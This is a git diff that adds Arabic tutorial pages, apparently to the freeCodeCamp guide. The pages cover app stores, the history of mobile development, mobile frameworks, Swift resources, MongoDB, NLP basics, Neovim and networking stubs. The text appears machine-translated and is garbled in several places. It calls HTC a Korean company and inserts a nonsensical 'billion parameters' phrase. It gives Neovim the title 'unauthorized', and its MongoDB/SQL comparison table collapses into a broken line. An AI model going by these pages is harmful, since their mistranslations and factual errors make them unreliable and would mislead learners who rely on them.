+المقال الرئيسي: Google Play Google Play (المعروف سابقًا باسم Android Market) هو متجر برامج دولي عبر الإنترنت تم تطويره بواسطة Google لأجهزة Android. افتتح في أكتوبر 2008. في يوليو 2013 ، تجاوز عدد التطبيقات التي تم تنزيلها عبر متجر Google Play 50 مليار تطبيق ، من بين أكثر من مليون تطبيق متوفر. اعتبارًا من سبتمبر 2016 ، وفقًا لإحصائيات Statista ، تجاوز عدد التطبيقات المتاحة 2.4 مليون. حقق المتجر أرباحًا قدرها 6 مليارات دولار أمريكي في عام 2015.
+
+#### متجر التطبيقات
+
+المقالة الرئيسية: متجر التطبيقات (iOS) لم يكن Apple App Store for iOS أول خدمة توزيع تطبيقات ، ولكنه أشعل ثورة المحمول وافتُتح في 10 يوليو 2008 ، واعتبارًا من يناير 2011 ، تم تسجيل أكثر من 10 مليار عملية تنزيل. تم عرض بطاقة AppStore الأصلية لأول مرة على Steve Jobs في عام 1993 بواسطة Jesse Tayler في NeXTWorld Expo اعتبارًا من 6 يونيو 2011 ، كان هناك 425،000 تطبيق متاح ، والتي تم تنزيلها من قبل 200 مليون مستخدم لنظام iOS. خلال مؤتمر مطوري آبل العالمي لعام 2012 ، أعلن الرئيس التنفيذي لشركة تيم كوك أن متجر التطبيقات يحتوي على 650 ألف تطبيق متاح للتنزيل بالإضافة إلى 30 مليار تطبيق تم تنزيله من متجر التطبيقات حتى ذلك التاريخ. من وجهة نظر بديلة ، تشير الأرقام التي شاهدتها هيئة الإذاعة البريطانية BBC في يوليو 2013 من خدمة التتبع Adeven إلى أن أكثر من ثلثي التطبيقات في المتجر هي "zombies" ، والتي لم يقم المستهلكون بتثبيتها على الإطلاق.
+
+#### الآخرين
+
+Amazon Appstore هو متجر تطبيقات بديلة لنظام التشغيل Android. تم فتحه في آذار 2011 ، واعتبارًا من شهر حزيران 2015 ، يتوفر في متجر التطبيقات ما يقرب من 334000 تطبيق. يمكن أيضًا تثبيت تطبيقات Android Appstore في Android وتشغيلها على أجهزة BlackBerry 10. BlackBerry World هو متجر التطبيقات لأجهزة BlackBerry 10 و BlackBerry OS. افتتح في أبريل 2009 باسم BlackBerry App World. تم إطلاق Ovi (Nokia) لهواتف نوكيا دوليًا في مايو 2009. وفي مايو 2011 ، أعلنت نوكيا عن خطط لإعادة تغيير خط منتجات Ovi الخاص بها تحت العلامة التجارية لنوكيا ، وتم تغيير اسم متجر Ovi Store إلى متجر نوكيا في أكتوبر 2011. لن يقوم متجر نوكيا بعد الآن بالمطورين نشر تطبيقات جديدة أو تحديثات تطبيقات لأنظمة تشغيل Symbian و MeeGo القديمة من يناير 2014. تم تقديم Windows Phone Store بواسطة Microsoft لمنصة Windows Phone ، والتي تم إطلاقها في أكتوبر 2010. اعتبارًا من أكتوبر 2012 ، يتوفر أكثر من 120،000 تطبيق. تم تقديم Windows Store بواسطة شركة Microsoft لنظامي التشغيل Windows 8 و Windows RT. على الرغم من أنه يمكن أيضًا حمل قوائم لبرامج سطح المكتب التقليدية المعتمدة للتوافق مع Windows 8 ، إلا أنه يستخدم بشكل أساسي لتوزيع "تطبيقات Windows Store" - التي تم تصميمها للاستخدام في المقام الأول على الأجهزة اللوحية وغيرها من الأجهزة التي تعمل باللمس (ولكن لا يزال من الممكن استخدامها مع لوحة المفاتيح والماوس ، وعلى أجهزة الكمبيوتر المكتبية وأجهزة الكمبيوتر المحمولة). تم تقديم Samsung Apps في سبتمبر 2009. بدءًا من أكتوبر 2011 ، وصلت تطبيقات Samsung إلى 10 مليون عملية تنزيل. يتوفر المتجر في 125 دولة ، ويوفر تطبيقات لأنظمة Windows Mobile و Android و Bada. كان AppWrapper الإلكتروني أول خدمة توزيع إلكترونية توفر بشكل جماعي التشفير والشراء إلكترونياً F-Droid - مجاني ومفتوح المصدر مستودع التطبيق الروبوت. هناك العديد من متاجر التطبيقات المستقلة الأخرى لأجهزة Android.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mobile-app-development/mobile-app-development-evolution/index.md b/client/src/guide/arabic/mobile-app-development/mobile-app-development-evolution/index.md
new file mode 100644
index 0000000000..43743ea192
--- /dev/null
+++ b/client/src/guide/arabic/mobile-app-development/mobile-app-development-evolution/index.md
@@ -0,0 +1,29 @@
+---
+title: Evolution of Mobile Application Development
+localeTitle: تطور تطوير تطبيقات الهاتف المحمول
+---
+وتقول بن زيمر من جمعية اللهجة الأمريكية إن إحدى أكثر الحجج إقناعا من أرضية التصويت كانت من امرأة قالت إنه حتى الجدة كانت قد سمعت بها. كان يشرح الأسباب وراء قرار المنظمة التي يبلغ عمرها 128 عامًا لاختيار كلمة App ككلمة العام لعام 2010. وقبل عامين من عام 2008 ، أطلقت شركة Apple متجر iOS App الذي سمح بتطوير تطبيق تابع لجهة خارجية والتوزيع. أدى هذا التحرير في سوق التطبيقات إلى انفجار تطبيقات جديدة ومبتكرة وأصبح جزءًا من معجم مستخدمي الأجهزة المحمولة.
+
+#### 1980s
+
+بدأ الاستهلاك الشامل لتطبيقات الأجهزة المحمولة في أواخر 2000 مع وصول خدمات توزيع التطبيقات ولكن تاريخ تطوير تطبيقات الهاتف المحمول يكمن في الماضي. في 1980s ، أطلقت شركة سايون البريطانية سلسلة من أجهزة الكمبيوتر الجيب تسمى منظم بسيون. النموذج الثاني من المساعد الشخصي الرقمي (المساعد الرقمي الشخصي) يحتوي على تطبيقات مثل مدير الملفات ، تطبيقات حماية كلمة المرور بالإضافة إلى ألعاب الألغاز والمغامرة. وفي وقت لاحق ، أطلقت الشركة نظام تشغيل EPOC مع Backeronym Electronic Piece of Cheese ، مما ساعد على تشغيل تطبيقات أكثر تطوراً مثل جداول البيانات ومعالجات الكلمات.
+
+#### 1990s
+
+غالبا ما يطلق عليه أول هاتف ذكي في العالم IBM Simon مميزات مثل البريد الإلكتروني ، دفتر العناوين ، الحاسبة ، والتقويم التي ركزت على الإنتاجية. كما أصبحت المعالجات أسرع وأصبحت أجهزة الذاكرة أرخص ، وتمت تصفية الابتكارات الجديدة من خلال. في عام 1998 ، أصبحت EPOC شركة Symbian التي كانت عبارة عن مشروع مشترك تملكه شركة Nokia و Psion و Ericsson و Motorola. تم استخدام نظام تشغيل Symbian OS على نطاق واسع من قبل شركة Nokia ، و Samsung ، و LG ، و Ericsson ، مع وجود أنظمة أساسية مختلفة وواجهات برمجة تطبيقات مختلفة.
+
+وفي الوقت نفسه ، قامت شركة أخرى Palm Palm بإصدار Palm Pilot عام 1996 مع ميزات مثل شاشة اللمس وتزامن البيانات التي أصبحت الآن في كل مكان في الهواتف الذكية المعاصرة.
+
+#### 2000S
+
+في عام 2007 ، أطلقت شركة آبل أول جهاز iPhone يعمل على نظام التشغيل iOS. وبعد بضعة أشهر ، أطلقت شركة HTC الكورية أول هاتف ذكي يعمل على نظام التشغيل Android الذي طورته شركة جوجل العملاقة على الإنترنت. وقدم كلا المنصتين سوقًا للتطبيقات حيث كان المستخدمون حراً في تثبيت التطبيقات المدفوعة والمجانية على هواتفهم الذكية. شهد متجر App Store و Android Market من Google (المسمى الآن Google Play) ، بالإضافة إلى الشاشات التي تعمل باللمس ، ثورة في النظام الإيكولوجي للتطبيقات. قفزت مايكروسوفت أيضا على عربة مع نظام التشغيل ويندوز الذي اعتمد من قبل نوكيا على نظام التشغيل الخاص به سيمبيان.
+
+#### 2010 م - الوقت الحاضر
+
+بلغ عدد الأنظمة الأساسية لنظامي التشغيل Android و iOS مليار معلمة في 2009-2010 ، وفي عام 2011 ، تجاوز استخدام التطبيق استخدام الويب للجوّال. أعطت راحة الهاتف المحمول للتطبيقات ميزة على برامج سطح المكتب ، وهي مفضلة على نحو متزايد على ويب الجوّال.
+
+وصل عام 2014 باستخدام تقنية يمكن ارتداؤها من خلال Apple Watch و Google Glass و Android Wear. يمكن لهذه الأجهزة استخدام تقنية اللمس لمرافق المتخصصة مثل أدوات تتبع اللياقة البدنية وأدوات التنقل والتواصل مع الهواتف الذكية لإشعارات البريد.
+
+#### المستقبل
+
+إنترنت الأشياء (IOT) ، الحوسبة السحابية والحقيقة الافتراضية ستفتح آفاقاً جديدة لتطبيقات الهاتف المحمول. ثلاجة تقوم بالكشف عن علبة فارغة من الحليب وتطلبها من خلال تطبيق IOT متكامل للتجارة الإلكترونية أو لعبة الواقع الافتراضي وتطبيقات التعليم ، والإمكانات عديدة. في المنافسة القاسية بين التطبيقات ، سيكون الابتكار والديناميكيان مفتاحًا لالتقاط الأسواق وعقول العملاء.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mobile-app-development/mobile-app-development-introduction/index.md b/client/src/guide/arabic/mobile-app-development/mobile-app-development-introduction/index.md
new file mode 100644
index 0000000000..1aa60bee2c
--- /dev/null
+++ b/client/src/guide/arabic/mobile-app-development/mobile-app-development-introduction/index.md
@@ -0,0 +1,39 @@
+---
+title: Mobile app development
+localeTitle: تطوير تطبيقات الجوال
+---
+### مقدمة لتطوير التطبيقات
+
+أحد أكثر أشكال التشفير شيوعًا في الآونة الأخيرة هو إنشاء تطبيقات أو تطبيقات تعمل على أجهزة الجوال مثل الهواتف والأجهزة اللوحية. ربما تستخدم مجموعة من التطبيقات المختلفة في حياتك اليومية. ألن يكون من الرائع إنشاء واحدة خاصة بك؟ هناك العديد من المزايا التي تجعلك مطورًا في مجال صناعة التطبيقات المزدهرة. عدد قليل جدا من الناس الذين يعيشون حياة جيدة تطوير وبيع التطبيقات ، ولديك الفرصة لتكون واحدة منهم. يمكنك حتى أن تصبح التالي نيك D'Aloisio ، الذي باع تطبيقه الشهير iPhone ، Summly ، إلى Yahoo! مقابل 30 مليون دولار بالإضافة إلى ذلك ، إنها أفضل طريقة للحصول على عملك في جيوب الأشخاص!
+
+### نظرة عامة على تطوير التطبيق
+
+يتم تطوير تطبيقات الهاتف المحمول لمنصة معينة ، وأكثر المنصات شعبية اليوم هما iOS و Android. تقوم منصة iOS بتشغيل تطبيقات مصممة لأجهزة iPhone و iPad. لتطوير تطبيق لأجهزة iPhone أو iPad ، تحتاج إلى استخدام لغة الترميز Objective-C وإطار الكاكاو. تحتاج أيضًا إلى استخدام بيئة تطوير متكاملة (IDE) تسمى Xcode. لاحظ أن Xcode يعمل فقط على Mac ، لذا ستحتاج إلى Mac لإجراء تطبيق iOS. يتم تطوير تطبيقات Android باستخدام لغة الترميز Java وأداة تطوير برامج Android ، والتي تعمل على Mac أو PC أو Linux. تحتاج أيضًا إلى استخدام IDE مثل Eclipse. هناك أنظمة أساسية أخرى مثل Windows Phone ، ولكن iOS و Android هما الأكثر شعبية بالتأكيد. يركز معظم التدريب على هذه المنصات.
+
+#### iOS (iPhone و iPad)
+
+iOS عبارة عن نظام تشغيل متحرك تم تطويره وتوزيعه من قبل شركة Apple Inc. وقد تم إصداره في عام 2007 لأجهزة iPhone و iPod Touch و Apple TV. يشتق نظام التشغيل iOS من نظام التشغيل OS X ، والذي تشارك معه مؤسسة داروين. iOS هو إصدار Apple من نظام التشغيل OS X المستخدم في أجهزة كمبيوتر Apple.
+
+#### أيوني
+
+الأيوني هو إطار مفتوح المصدر يستخدم لتطوير التطبيقات النقالة. يوفر أدوات وخدمات لإنشاء واجهة مستخدم للجوّال مع مظهر وطابع أصلي. يحتاج الإطار الأيوني إلى مجمّع أصلي ليتمكن من التشغيل على الأجهزة المحمولة. هذا هو البرنامج التعليمي التمهيدي ، والذي يغطي أساسيات أيوني مفتوح المصدر الإطار ويشرح كيفية التعامل مع مكوناتها المختلفة والمكونات الفرعية.
+
+#### ذكري المظهر
+
+Android عبارة عن نظام تشغيل مفتوح المصدر يستند إلى Linux للأجهزة المحمولة مثل الهواتف الذكية وأجهزة الكمبيوتر اللوحي. تم تطوير Android من قبل Open Handset Alliance ، بقيادة Google ، وشركات أخرى. سيعلمك هذا البرنامج التعليمي برمجة Android الأساسية وسيأخذك أيضًا من خلال بعض المفاهيم المتقدمة المتعلقة بتطوير تطبيق Android.
+
+#### Xamarin
+
+Xamarin هي شركة برمجيات مقرها في سان فرانسيسكو. وهي توفر أدوات تطوير البرمجيات التجارية التي تسمح للمستخدم بتطوير تطبيقات للأندرويد ، iOS و Windows باستخدام لغة C # و .NET framework. Xamarin مبني على .NET Framework. يسمح ذلك بإنشاء تطبيقات تعمل بسهولة عبر أنظمة أساسية متعددة. في هذا البرنامج التعليمي ، سنشرح كيف يمكنك استخدام Xamarin لتوصيل تطبيقات iOS و Android و Windows الأصلية.
+
+#### فونغاب
+
+PhoneGap هو إطار تطوير برامج من قبل Adobe System ، والذي يستخدم لتطوير تطبيقات الهاتف المحمول. لتطوير التطبيقات باستخدام PhoneGap ، لا يحتاج المطور إلى معرفة لغة برمجة الجوال ، بل فقط لغات تطوير الويب مثل HTML و CSS و JScript. تقوم PhoneGap بإنتاج تطبيقات لجميع أنظمة تشغيل أنظمة تشغيل الهاتف المحمول الشهيرة مثل iOS و Android و BlackBerry و Windows Mobile OS إلخ. في هذا البرنامج التعليمي ، سنركز على تطوير التطبيق لنظام Android. سيمنحك هذا البرنامج التعليمي معلومات كافية حول كيفية إنتاج التطبيقات بسرعة باستخدام خدمات PhoneGap.
+
+#### تتفاعل الأصلية
+
+React Native مثل PhoneGap و Cordova تقدم الفرصة لمطوري الويب للدخول إلى عالم تطوير تطبيقات الهاتف المحمول. وهو إطار تطبيق متنقل عبر منصة من Facebook i ، ويمكن للمرء أن يبني تطبيقات لمنصة Android و ios باستخدام Javascript (JSX). على عكس تلك التطبيقات الهجينة التي تنتجها Cordova و phonegap ، تنتج React Native تطبيقات أصلية حقيقية يمكنها الاستفادة من جميع الخصائص المحلية. يأتي مع الشعار ، "اكتب مرة واحدة ، ركض في كل مكان". اعتادت شركات التقنية في العادة أن يكون لديها فرق منفصلة تحافظ على مصدر البرمجة لـ ios و android. يعمل React Native على حل هذه المشكلة بطريقة فعالة تسمح لمطوري الويب باستخدام الخلفية التفاعلية لإنشاء تطبيقات رائعة للجوّال. للاستمرار في هذا المسار ، ابدأ باستخدام React. ينبغي للمرء أن يكون على دراية بكل تلك المفاهيم مثل المكونات ، والحالات ، والدعائم ، والتوجيه ، وما إلى ذلك قبل القفز إلى React Native. كما أنه من الجيد أن نتمكن من إنشاء مجموعة من المشاريع في React للتأقلم مع بنية JSX وكل المواد الأخرى التي ستستفيد بالتأكيد عندما يتعلق الأمر بـ React Native.
+
+#### PowerApps
+
+تم إطلاق PowerApps في عام 2017 ، وهو عبارة عن نظام أساسي يستند إلى مستعرض من Microsoft يتيح للمطورين وغير المطورين إنشاء تطبيقات متنقلة من نماذج قابلة للتحديد أو من لوحة فارغة. PowerApps في جوهرها هو منصة كخدمة. فهو يسمح لك بإنشاء تطبيقات الجوال التي تعمل على Android و iOS و Windows (تطبيقات حديثة) - ومع أي متصفح إنترنت تقريبًا. فهو يعتني بالاختلافات بين أنظمة التشغيل ويسمح لك فقط بتشغيل تطبيقاتك. إنها في الأساس حاوية تجعل استخدام تطبيقات الجوال أسهل بكثير عبر الأنظمة الأساسية للجوّال. يقدم PowerApps تسريعًا كبيرًا في كيفية إنشاء تطبيقات الأنشطة التجارية ، مما يقلل من الوقت اللازم للحل من أسابيع أو أشهر إلى دقائق ويتيح تمكين فئة جديدة من منشئي التطبيقات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mobile-app-development/swift-development/index.md b/client/src/guide/arabic/mobile-app-development/swift-development/index.md
new file mode 100644
index 0000000000..aa1a1e9dc8
--- /dev/null
+++ b/client/src/guide/arabic/mobile-app-development/swift-development/index.md
@@ -0,0 +1,49 @@
+---
+title: Swift Development
+localeTitle: تطوير سريع
+---
+## تطوير سريع
+
+يحتوي هذا القسم على الموارد المتعلقة بتطوير تطبيقات iOS الأصلية باستخدام Swift.
+
+هذه هي القائمة التي أرتبها عن موارد Swift و iOS الرائعة لتصبح مطور iOS متخصصًا.
+
+## بعض التحفيز لتبدأ
+
+*   [14 عاما معجزة مبرمج الأحلام في القانون](https://www.youtube.com/watch?v=DBXZWB_dNsw)
+*   [أصغر مهندس فيسبوك - مايكل سايمان](https://www.youtube.com/watch?v=mmQG_BCiVHU)
+*   [مطور التطبيق البالغ من العمر 12 عامًا توماس سواريز](https://www.youtube.com/watch?v=Fkd9TWUtFm0)
+*   [حياة مطور تطبيقات Indie - Computerphile](https://www.youtube.com/watch?v=yVRtJbXQsL8)
+*   [بدوام كامل Indie iOS Dev وشريك مؤسس لـ 1Button: A Top Dev Interview with Thomas Castel](https://www.raywenderlich.com/159963/full-time-indie-ios-dev-co-founder-1button-top-dev-interview-thomas-castel)
+*   [كم من المال (في المتوسط) يقوم مطور iOS في عام 2017 - Brian Voong](https://www.youtube.com/watch?v=6t3ue7dX5WI)
+
+## تعلم سويفت
+
+### مبتدئ
+
+#### كتب
+
+*   [برمجة سويفت - Big Nerd Ranch Guide](https://www.bignerdranch.com/books/swift-programming/)
+*   [القرصنة مع سويفت](https://www.hackingwithswift.com/read)
+
+#### دروس الفيديو
+
+*   [سويفت تراك - تيم تريهاوس](https://teamtreehouse.com/tracks/learn-swift)
+*   [المطور iOS نانو - - Udacity](https://www.udacity.com/course/ios-developer-nanodegree--nd003)
+
+#### يوتيوب قوائم التشغيل
+
+*   [البرنامج التعليمي الكامل سويفت 3 مع بوب](https://www.youtube.com/playlist?list=PL8btZwalbjYlRZh8Q1VK80Ly0YsZ7PZxx)
+*   [الابتداء مع Swift 3 - Apple WWDC 2016](https://www.youtube.com/watch?v=AzesJrOcFDU)
+
+### المتقدمة
+
+#### كتب
+
+*   [برو سويفت](https://www.hackingwithswift.com/store/pro-swift)
+*   [تحديات الترميز سويفت](https://www.hackingwithswift.com/store/swift-coding-challenges)
+*   [عملي iOS 10](https://www.hackingwithswift.com/store/practical-ios10)
+
+#### يوتيوب قوائم التشغيل
+
+*   [سويفت متقدمة كائن المنحى البرمجة](https://www.youtube.com/playlist?list=PL8btZwalbjYmZwMwqeeAZKHsQ81GxiuaD)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mongodb/index.md b/client/src/guide/arabic/mongodb/index.md
new file mode 100644
index 0000000000..c98bc6490b
--- /dev/null
+++ b/client/src/guide/arabic/mongodb/index.md
@@ -0,0 +1,38 @@
+---
+title: MongoDB
+localeTitle: MongoDB
+---
+## MongoDB
+
+MongoDB هو قاعدة بيانات غير علائقية مفتوحة المصدر تستخدم بنية JSON مثل لتخزين البيانات. ويستخدم نموذج مستند لتخزين البيانات واستردادها بدلاً من نموذج الجدول المستخدم في قواعد البيانات المتسلسلة مثل SQL أو Oracle.
+
+### NOSQL Vs RDBMS
+
+| شروط ومفاهيم MongoDB | شروط ومفاهيم SQL | --- | --- | | قاعدة البيانات | قاعدة البيانات | | جمع | الجدول | وثيقة الصف | | المجال العمود | الفهرس | الفهرس | | المستندات المدمجة | الجدول ينضم |
+
+### خصائص MongoDB
+
+1.  قاعدة بيانات الجيل التالي
+2.  لا تنضم
+3.  تجمع
+4.  مفتوحة المصدر
+5.  مخطط أقل
+6.  لا توجد علاقات
+
+### ملامح MongoDB
+
+1.  قاعدة بيانات الوثائق
+2.  أداء عالي
+3.  لغة الاستعلام الغنية
+4.  توافر عالية
+5.  قابلية التوسع الأفقي
+
+### معلومات اكثر
+
+[ما هو مونغو DB؟](https://www.mongodb.com/what-is-mongodb)
+
+[مقالة ويكيبيديا حول قواعد بيانات وثيقة المنحى](https://en.wikipedia.org/wiki/Document-oriented_database)
+
+[SQL مقابل NoSQL](https://insights.dice.com/2012/07/16/sql-vs-nosql-which-is-better/)
+
+[تعلم MongoDB من MongoDB](https://university.mongodb.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/natural-language-processing/index.md b/client/src/guide/arabic/natural-language-processing/index.md
new file mode 100644
index 0000000000..07684fc3a8
--- /dev/null
+++ b/client/src/guide/arabic/natural-language-processing/index.md
@@ -0,0 +1,38 @@
+---
+title: Introduction to NLP
+localeTitle: مقدمة في البرمجة اللغوية العصبية
+---
+## الخطوط العريضة
+
+*   التحفيز
+*   استخدم حالات
+*   نمذجة اللغة
+*   قراءات أخرى
+
+## التحفيز
+
+لطالما كان حلمنا هو جعل الآلات تفهم لغتنا. منذ أن توصل تشومسكي إلى القواعد النحوية لـ Context ، كان اللغويون يرغبون في التوصل إلى حلول لفهم القواعد النحوية المعتمدة على السياق. لذلك فمن الطبيعي أن يكون هناك تلميذ أكاديمي قد تطور حول هذا الموضوع.
+
+## استخدم حالات
+
+استخدم الناس هذا المفهوم في الكثير من التطبيقات المثيرة للاهتمام. قليل من تلك المثيرة تتضمن اقتراحات الرد التلقائي من Google ، أو Siri ، أو Gmail. ومع ذلك ، يعمل الناس على طرق لتحسين هذه التوقعات ، ويتم إجراء أحدث الأبحاث حول كيفية جعل الآلات تجيب على الأسئلة بشكل أكثر موثوقية.
+
+## كيف تعمل معالجة اللغات الطبيعية
+
+في وقت سابق ، اعتمدت البرمجة اللغوية العصبية نهج قائم على القواعد ، أي أن جميع القواعد كانت مشفرة بشكل صارم (على سبيل المثال كتابة قواعد اللغة). ومع ذلك لم يكن هذا عاطلاً عن الاختلافات في نماذج اللغة. حاليا ، تتم عمليات NLP على استخدام الذكاء الاصطناعي. وهي تعتمد بشكل أساسي على التعلم العميق ، وهو الذكاء الاصطناعي الذي يحدد الأنماط في البيانات ويستخدمه لتدريب النموذج. هذه الطريقة أفضل من الطرق السابقة المستخدمة لأنه عند التعلم من خلال البيانات الضخمة الحالية ، يمكن للآلة التركيز على معظم الحالات الشائعة ، وهو أمر ليس سهلاً مع القواعد المكتوبة بخط اليد لأنه ليس بالأمر البديهي فيما يتعلق بالمكان الذي يجب أن توضع فيه الجهود. . أيضا ، تصبح هذه النماذج أكثر موثوقية مع زيادة في البيانات ، ولكن في النهج السابقة لا يمكن أن تكون دقيقة إلا عن طريق زيادة تعقيد القواعد ، والتي هي مهمة أكثر صعوبة. يتعلم النموذج قواعد اللغة من خلال تحليل مجموعة كبيرة من الأمثلة النموذجية في العالم الحقيقي. تتطلب هذه الطريقة قدراً هائلاً من البيانات المسمى ، وهو ما يمثل عقبة كبيرة في البرمجة اللغوية العصبية.
+
+## نمذجة اللغة
+
+لأولئك الذين يتطلعون إلى الدخول في هذا المجال ، أنوي أن أبدأكم بمفهومين.
+
+#### Tokenisation
+
+هنا تبدو المهمة بسيطة. بالنظر إلى مجموعة (مجموعة من الجمل) ، قم بتوليد رموز فردية (كلمات ذات معنى). نحن بحاجة لتزيين الكلمات والجمل. النهج الأول الذي يتبادر إلى الذهن هو التقسيم حسب الفترة والفضاء. هذا لا يعمل. النظر في السيد جون. هل الجمل "السيد" و "جون" 2؟ بالطبع لا. الآن فكر في واصلة الكلمات المنفصلة. هل تريد تقسيمها على أنها كلمتين أو كلمة واحدة؟ هذه الأسئلة الصعبة تجعل مهمة التقريب غير واضحة. المضي قدما واختيار جثة من nltk ، و buid regex الخاصة بك ل tokeniser الخاصة جدا!
+
+#### نماذج ن غرام
+
+المهمة التالية هي بناء نموذج لغوي. هنا نعتبر فرضية أن الكلمة n لا تعتمد إلا على الكلمات n-1 السابقة. يتم استخدام أكثر من 2 جرام و 3 جرام من النماذج الأكثر شيوعًا. لبناء نموذج 3 جرام ، فقط قم بتجميع الرموز الثلاث معًا واحسب مدى تكرارها في المجموعة. أنت الآن على استعداد للتنبؤ باحتمالية مجموعة من 3 كلمات!
+
+## قراءات أخرى
+
+مجال البرمجة اللغوية العصبية هو ضخم. إذا كنت قد قرأت هذا الآن ونفذت ما سبق ، فقد أحببت هذا بالتأكيد. المضي قدما وقراءة كتاب Jurafsky لتعلم بعض المفاهيم الجديدة. تذكر أنه من المهم تنفيذها أيضًا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/neovim/index.md b/client/src/guide/arabic/neovim/index.md
new file mode 100644
index 0000000000..f7e9e675c4
--- /dev/null
+++ b/client/src/guide/arabic/neovim/index.md
@@ -0,0 +1,39 @@
+---
+title: Neovim
+localeTitle: غير مصرح بها
+---
+# Neovim
+
+Neovim هو refactor ، وأحيانا Redactor ، في تقليد Vim (الذي يستمد نفسه من [ستيفي](https://en.wikipedia.org/wiki/Stevie_%28text_editor%29 "Stevie") ). وهي ليست إعادة كتابة بل هي امتداد وتوسيع لفيم. توجد العديد من الحيوانات المستنسخة والمشتقات ، بعضها ذكي للغاية - ولكن لا يوجد Vim. بني Neovim للمستخدمين الذين يريدون الأجزاء الجيدة من Vim ، وأكثر من ذلك. Vim هو محرر نصوص قابل للتكوين بشكل كبير مصمم لجعل إنشاء وتغيير أي نوع من النصوص فعال للغاية. يتم تضمينه كـ "vi" مع معظم أنظمة UNIX ومع Apple OS X.
+
+## الأهداف
+
+*   توفير Vim مرنة ، قابلة للمد مع بديل سريع للنصوص من الدرجة الأولى (lua / luajit)
+*   توفير تجربة متسقة للمستخدم عبر الأنظمة الأساسية
+*   الاستفادة من تطوير Vim المستمر: الانسجام
+*   الحفاظ على تعادل الميزة مع فيم. تجنب الانحدار
+*   تابع تقليد Vim للتوافق مع الإصدارات السابقة ، مع بعض الاستثناءات القليلة
+*   الحفاظ على جوهر صغير وسريع
+*   استهدف جميع الأنظمة الأساسية المدعومة بواسطة libuv
+*   حقق أقصى استفادة من المربع ، للمستخدمين الجدد ولكن بصفة خاصة المستخدمين العاديين
+*   تفويض المكوِّنات الإضافية ، مع الحفاظ على فاعلية المحرر الأساسي
+
+## غير بالأهداف
+
+*   تحويل فيم إلى IDE
+*   الحد من تطبيقات الطرف الثالث (مثل IDEs!) بنيت مع Neovim
+*   إهمال VimL
+*   سادسا التوافق
+
+## مبادئ
+
+*   لا تراجع من الأصل
+*   تحديد النتائج من خلال وزنها التكلفة والفائدة
+*   استخدام الأتمتة لحل المشاكل
+*   تمكين المساهمين الجدد: إزالة الحواجز أمام الدخول
+*   إلغاء حظر الأطراف الثالثة والمؤلفين المساعد: السماح بالتقدم
+*   في مسائل الذوق أو الغموض ، يفضل التقليد / التوافق ...
+*   ... ولكن تفضل قابلية الاستخدام على التقاليد إذا كانت الفوائد هائلة
+*   امنح فرصة الاستخدام ™
+
+لمزيد من المعلومات ، توجه إلى صفحة [Neovim الرئيسية](https://neovim.io/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/network-engineering/data-frames/index.md b/client/src/guide/arabic/network-engineering/data-frames/index.md
new file mode 100644
index 0000000000..04560823c9
--- /dev/null
+++ b/client/src/guide/arabic/network-engineering/data-frames/index.md
@@ -0,0 +1,15 @@
+---
+title: Data Frames
+localeTitle: إطارات البيانات
+---
+## إطارات البيانات
+
+إطارات البيانات (Frames) هي وحدات بيانات قابلة للتحويل عبر شبكات تبديل الرزم. الإطارات هي وحدات بيانات بروتوكول الاتصال البيني للطبقة البينية المفتوحة (OSI) (PDUs). تتم معالجة الإطارات باستخدام عناوين التحكم في الوصول إلى الوسائط (MAC). توجد عدة بروتوكولات اتصالات مختلفة من المستوى الثاني ، لكل منها معلومات تحكم منفصلة ، ولكن معظمها يستخدم تنسيقًا شائعًا.
+
+يتم تقسيم الإطارات إلى معلومات وبيانات تحكم (تسمى أيضًا "الحمولة"). وترد معلومات التحكم في رأس الإطار والمقطورة التي تغلف الحمولة. التغليف هو العملية التي تتضمن حزمة Layer 3 طبقة Layer 2 مضافة إلى الجزء الأمامي ويتم إضافة مقطورة Layer 2 في النهاية. هذا هو التنسيق القياسي لإطارات البيانات: عنوان يتبعه الحمولة يليه مقطع دعائي.
+
+![إطار في طبقة وصلة البيانات](http://www.highteck.net/images/156-Datalink-PDU.jpg)
+
+يحتوي رأس "إطار البيانات" على معلومات خاصة بالبروتوكول ولكن جميع الرؤوس تتضمن البروتوكول المستخدم وعناوين MAC الوجهة / الوجهة. تشتمل بروتوكولات الطبقة الثانية الشائعة على Ethernet وبروتوكول نقطة إلى نقطة (PPP). تحتوي مقاييس إطار البيانات عادةً على تسلسل فحص الإطار (FCS) الذي يسمح لجهاز الاستقبال بالتحقق من سلامة الإطار المستلم.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/network-engineering/ethernet-header/index.md b/client/src/guide/arabic/network-engineering/ethernet-header/index.md
new file mode 100644
index 0000000000..ffa83a5316
--- /dev/null
+++ b/client/src/guide/arabic/network-engineering/ethernet-header/index.md
@@ -0,0 +1,11 @@
+---
+title: Ethernet Header
+localeTitle: رأس إيثرنت
+---
+## تنسيق رأس إيثرنت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/ethernet-header/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/network-engineering/icmp-header/index.md b/client/src/guide/arabic/network-engineering/icmp-header/index.md
new file mode 100644
index 0000000000..2151f5386c
--- /dev/null
+++ b/client/src/guide/arabic/network-engineering/icmp-header/index.md
@@ -0,0 +1,11 @@
+---
+title: ICMP Header
+localeTitle: رأس ICMP
+---
+## تنسيق رأس ICMP
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/icmp-header/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/network-engineering/index.md b/client/src/guide/arabic/network-engineering/index.md
new file mode 100644
index 0000000000..703df13560
--- /dev/null
+++ b/client/src/guide/arabic/network-engineering/index.md
@@ -0,0 +1,21 @@
+---
+title: Network Engineering
+localeTitle: هندسة الشبكات
+---
+## هندسة الشبكات
+
